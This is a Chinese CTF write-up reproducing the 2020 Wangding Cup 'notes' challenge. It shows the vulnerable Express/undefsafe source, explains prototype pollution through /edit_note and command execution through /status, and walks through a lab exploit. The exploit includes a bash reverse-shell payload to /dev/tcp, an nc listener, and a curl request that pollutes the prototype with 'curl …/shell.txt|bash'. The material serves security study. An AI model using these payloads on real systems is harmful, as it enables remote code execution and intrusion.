网鼎杯2020青龙组notes复现

环境搭建

源代码已给:

var express = require('express');

var path = require('path');

const undefsafe = require('undefsafe');

const { exec } = require('child_process');

var app = express();

class Notes {

constructor() {

this.owner = "whoknows";

this.num = 0;

this.note_list = {}; // 定义了一个字典,在后面的攻击过程中会用到

}

write_note(author, raw_note) {

this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};

}

get_note(id) {

var r = {}

undefsafe(r, id, undefsafe(this.note_list, id));

return r;

}

edit_note(id, author, raw) {

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

}

get_all_notes() {

return this.note_list;

}

remove_note(id) {

delete this.note_list[id];

}

}

var notes = new Notes();

notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));

app.set('view engine', 'pug'); // 设置模板引擎为pug

app.use(express.json());

app.use(express.urlencoded({ extended: false }));

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {

res.render('index', { title: 'Notebook' });

});

app.route('/add_note')

.get(function(req, res) {

res.render('mess', {message: 'please use POST to add a note'});

})

.post(function(req, res) {

let author = req.body.author;

let raw = req.body.raw;

if (author && raw) {

notes.write_note(author, raw);

res.render('mess', {message: "add note sucess"});

} else {

res.render('mess', {message: "did not add note"});

}

})

app.route('/edit_note') // 该路由中 undefsafe 三个参数均可控

.get(function(req, res) {

res.render('mess', {message: "please use POST to edit a note"});

})

.post(function(req, res) {

let id = req.body.id;

let author = req.body.author;

let enote = req.body.raw;

if (id && author && enote) {

notes.edit_note(id, author, enote);

res.render('mess', {message: "edit note sucess"});

} else {

res.render('mess', {message: "edit note failed"});

}

})

app.route('/delete_note')

.get(function(req, res) {

res.render('mess', {message: "please use POST to delete a note"});

})

.post(function(req, res) {

let id = req.body.id;

if (id) {

notes.remove_note(id);

res.render('mess', {message: "delete done"});

} else {

res.render('mess', {message: "delete failed"});

}

})

app.route('/notes')

.get(function(req, res) {

let q = req.query.q;

let a_note;

if (typeof(q) === "undefined") {

a_note = notes.get_all_notes();

} else {

a_note = notes.get_note(q);

}

res.render('note', {list: a_note});

})

app.route('/status') // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令

.get(function(req, res) {

let commands = {

"script-1": "uptime",

"script-2": "free -m"

};

for (let index in commands) {

exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {

if (err) {

return;

}

console.log(`stdout: ${stdout}`); // 将命令执行结果输出

});

}

res.send('OK');

res.end();

})

app.use(function(req, res, next) {

res.status(404).send('Sorry cant find that!');

});

app.use(function(err, req, res, next) {

console.error(err.stack);

res.status(500).send('Something broke!');

});

const port = 8080;

app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析:

原型链污染点定位

undefsafe(r, id, undefsafe(this.note_list, id));

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

关键条件:

原型链污染需同时控制 undefsafe 的 第 2 个参数(属性路径) 和 第 3 个参数(属性值)。

get_note 方法仅能控制第 2 个参数(q),无法污染原型链。

edit_note 方法可通过 POST 请求控制 id、author、raw 三个参数,满足污染条件。

污染点确认与构造:

app.route('/edit_note').post(function(req, res) {

notes.edit_note(req.body.id, req.body.author, req.body.raw);

攻击向量:

id 控制路径前缀(如 proto.xxx)。

author/raw 控制属性值(如命令执行代码)。

});

原型链污染构造:

污染 Object.prototype 的恶意属性

id=proto.恶意命令

author=cat /flag # 或反弹 Shell 命令

edit_note 执行时会触发:

undefsafe(this.note_list, "proto.恶意命令.author", "cat /flag");

命令执行点定位:

app.route('/status').get(function(req, res) {

let commands = { "script-1": "uptime", "script-2": "free -m" };

for (let index in commands) { // 遍历原型链属性

exec(commands[index], ...); // 执行任意命令

}

});

漏洞点:

for...in 循环会遍历 commands 的原型链属性。若 Object.prototype 被污染,则恶意命令会被执行。

ubuntu中:

创建项目文件夹

mkdir -p /root/notes_app/views

进入目录

cd /root/notes_app

创建核心文件 app.js(漏洞代码)

vim app.js (放入源代码)

安装所需模块

npm install express undefsafe pug

#创建空文件保证js运行

touch index.pug mess.pug note.pug

启动 Node.js 服务(保持窗口运行)

node app.js

#在另一个窗口执行:

访问 /status 路由,触发被污染的命令执行

curl http://localhost:8080/status

kali中:

创建 shell.txt(替换为 Kali 实际 IP)

cat > shell.txt << 'EOF'

bash -i >& /dev/tcp/192.168.13.137/2333 0>&1

EOF

在 shell.txt 所在目录启动 HTTP 服务(端口 81)

python3 -m http.server 81

保持窗口运行,确保 Ubuntu 能访问 http://192.168.13.137:81/shell.txt

新开一个终端,监听 2333 端口

nc -lvp 2333

输出示例:listening on [any] 2333 ...(保持窗口运行)

新开一个终端,向 Ubuntu 发送污染请求(替换 Ubuntu IP)

curl -X POST -d "id=proto.hack&author=curl http://192.168.13.137:81/shell.txt\|bash\&raw=exp" http://192.168.13.141:8080/edit_note

成功会返回 "edit success" 页面内容

相关推荐
phoenix09811 小时前
Linux入门DAY29
linux·运维
叔叔别拉了我害怕1 小时前
封装FTPSClient连接ftps服务器
服务器·git·github
入秋1 小时前
Linux服务器安装部署 Nginx、Redis、PostgreSQL、Docker
linux·前端
不甘懦弱1 小时前
阿里云搭建flask服务器
服务器·python·flask
Mr. Cao code2 小时前
使用Tomcat Clustering和Redis Session Manager实现Session共享
java·linux·运维·redis·缓存·tomcat
zcz16071278212 小时前
Linux 网络命令大全
linux·运维·网络
the sun342 小时前
Reactor设计模式及其在epoll中的应用
linux·运维·服务器·c++
VVVVWeiYee2 小时前
BGP高级特性
运维·服务器·网络
喜欢你,还有大家2 小时前
Linux笔记7——shell编程基础-1
linux·运维·笔记
运维成长记2 小时前
Top 100 Linux Interview Questions and Answers
linux·运维·服务器